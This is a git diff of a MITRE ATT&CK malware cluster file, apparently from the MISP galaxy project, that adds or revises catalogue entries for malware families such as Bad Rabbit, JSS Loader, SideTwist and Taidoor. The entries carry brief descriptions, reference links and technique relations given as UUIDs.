+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7b50a1d3-4ca7-45d1-989d-a6503f04bfe1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4a5b7ade-8bb5-4853-84ed-23f262002665",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "35d1b3be-49d4-42f1-aaa6-ef159c880bca",
+ "value": "TeamTNT - G0139"
}
],
- "version": 22
+ "version": 23
}
diff --git a/clusters/mitre-malware.json b/clusters/mitre-malware.json
index 5877300..d5a1476 100644
--- a/clusters/mitre-malware.json
+++ b/clusters/mitre-malware.json
@@ -1246,7 +1246,7 @@
"value": "gh0st RAT - S0032"
},
{
- "description": "[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)",
+ "description": "[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)",
"meta": {
"external_id": "S0020",
"mitre_platforms": [
@@ -1256,7 +1256,8 @@
"https://attack.mitre.org/software/S0020",
"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage",
- "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
+ "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
+ "https://us-cert.cisa.gov/ncas/alerts/aa21-200a"
],
"synonyms": [
"China Chopper"
@@ -1673,6 +1674,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "198db886-47af-4f4c-bff5-11b891f85946",
@@ -2156,6 +2164,134 @@
"uuid": "fde50aaa-f5de-4cb8-989a-babb57d6a704",
"value": "Net Crawler - S0056"
},
+ {
+ "description": "[Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware) ",
+ "meta": {
+ "external_id": "S0606",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0606",
+ "https://securelist.com/bad-rabbit-ransomware/82851/",
+ "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/",
+ "https://www.dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/"
+ ],
+ "synonyms": [
+ "Bad Rabbit",
+ "Win32/Diskcoder.D"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f5bb433e-bdf6-4781-84bc-35e97e43be89",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "2eaa5319-5e1e-4dd7-bbc4-566fced3964a",
+ "value": "Bad Rabbit - S0606"
+ },
{
"description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.",
"meta": {
@@ -2492,7 +2628,9 @@
"meta": {
"external_id": "S0154",
"mitre_platforms": [
- "Windows"
+ "Windows",
+ "Linux",
+ "macOS"
],
"refs": [
"https://attack.mitre.org/software/S0154",
@@ -2922,6 +3060,97 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "a7881f21-e978-4fe4-af56-92c9416a2616",
@@ -4637,6 +4866,76 @@
"uuid": "56e6b6c2-e573-4969-8bab-783205cebbbf",
"value": "Rising Sun - S0448"
},
+ {
+ "description": "[JSS Loader](https://attack.mitre.org/software/S0648) is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least 2020.(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)",
+ "meta": {
+ "external_id": "S0648",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0648",
+ "https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc",
+ "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"
+ ],
+ "synonyms": [
+ "JSS Loader"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "f559f945-eb8b-48b1-904c-68568deebed3",
+ "value": "JSS Loader - S0648"
+ },
{
"description": "[DEFENSOR ID](https://attack.mitre.org/software/S0479) is a banking trojan capable of clearing a victim’s bank account or cryptocurrency wallet and taking over email or social media accounts. [DEFENSOR ID](https://attack.mitre.org/software/S0479) performs the majority of its malicious functionality by abusing Android’s accessibility service.(Citation: ESET DEFENSOR ID) ",
"meta": {
@@ -5282,7 +5581,48 @@
"value": "Miner-C - S0133"
},
{
- "description": "[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019).(Citation: CheckPoint Naikon May 2020)",
+ "description": "[Seth-Locker](https://attack.mitre.org/software/S0639) is a ransomware with some remote control capabilities that has been in use since at least 2021.\n(Citation: Trend Micro Ransomware February 2021)",
+ "meta": {
+ "external_id": "S0639",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0639",
+ "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html"
+ ],
+ "synonyms": [
+ "Seth-Locker"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "f931a0b9-0361-4b1b-bacf-955062c35746",
+ "value": "Seth-Locker - S0639"
+ },
+ {
+ "description": "[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020)",
"meta": {
"external_id": "S0456",
"mitre_platforms": [
@@ -6150,7 +6490,7 @@
"type": "uses"
},
{
- "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
+ "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
@@ -6260,13 +6600,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
"value": "OSX_OCEANLOTUS.D - S0352"
},
{
- "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS. It was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)",
+ "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS that was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)",
"meta": {
"external_id": "S0402",
"mitre_platforms": [
@@ -6276,11 +6623,13 @@
"https://attack.mitre.org/software/S0402",
"https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/",
"https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/",
+ "https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/",
"https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/",
"https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/"
],
"synonyms": [
"OSX/Shlayer",
+ "Zshlayer",
"Crossrider"
]
},
@@ -6347,6 +6696,34 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "f1314e75-ada8-49f4-b281-b1fb8b48f2a7",
@@ -7726,7 +8103,7 @@
"value": "Rover - S0090"
},
{
- "description": "[Taidoor](https://attack.mitre.org/software/S0011) is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)",
+ "description": "[Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](https://attack.mitre.org/software/S0011) has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor)",
"meta": {
"external_id": "S0011",
"mitre_platforms": [
@@ -7734,6 +8111,7 @@
],
"refs": [
"https://attack.mitre.org/software/S0011",
+ "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"
],
"synonyms": [
@@ -7749,7 +8127,7 @@
"type": "similar"
},
{
- "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+ "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
@@ -7761,6 +8139,132 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "b143dfa4-e944-43ff-8429-bfffc308c517",
@@ -9196,13 +9700,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755",
"tags": [
@@ -9692,7 +10189,7 @@
"type": "uses"
},
{
- "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
@@ -9863,6 +10360,131 @@
"uuid": "40a1b8ec-7295-416c-a6b1-68181d86f120",
"value": "Hildegard - S0601"
},
+ {
+ "description": "[SideTwist](https://attack.mitre.org/software/S0610) is a C-based backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2021.(Citation: Check Point APT34 April 2021)",
+ "meta": {
+ "external_id": "S0610",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0610",
+ "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/"
+ ],
+ "synonyms": [
+ "SideTwist"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "df4cd566-ff2f-4d08-976d-8c86e95782de",
+ "value": "SideTwist - S0610"
+ },
{
"description": "[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)",
"meta": {
@@ -13518,7 +14140,7 @@
"type": "uses"
},
{
- "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
+ "dest-uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
@@ -13927,6 +14549,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -14385,7 +15014,7 @@
"value": "NETEAGLE - S0034"
},
{
- "description": "[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan.(Citation: Securelist Octopus Oct 2018)",
+ "description": "[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://attack.mitre.org/groups/G0133) to target government organizations in Central Asia since at least 2014.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018) ",
"meta": {
"external_id": "S0340",
"mitre_platforms": [
@@ -14393,7 +15022,9 @@
],
"refs": [
"https://attack.mitre.org/software/S0340",
- "https://securelist.com/octopus-infested-seas-of-central-asia/88200/"
+ "https://securelist.com/octopus-infested-seas-of-central-asia/88200/",
+ "https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html",
+ "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf"
],
"synonyms": [
"Octopus"
@@ -14462,6 +15093,69 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
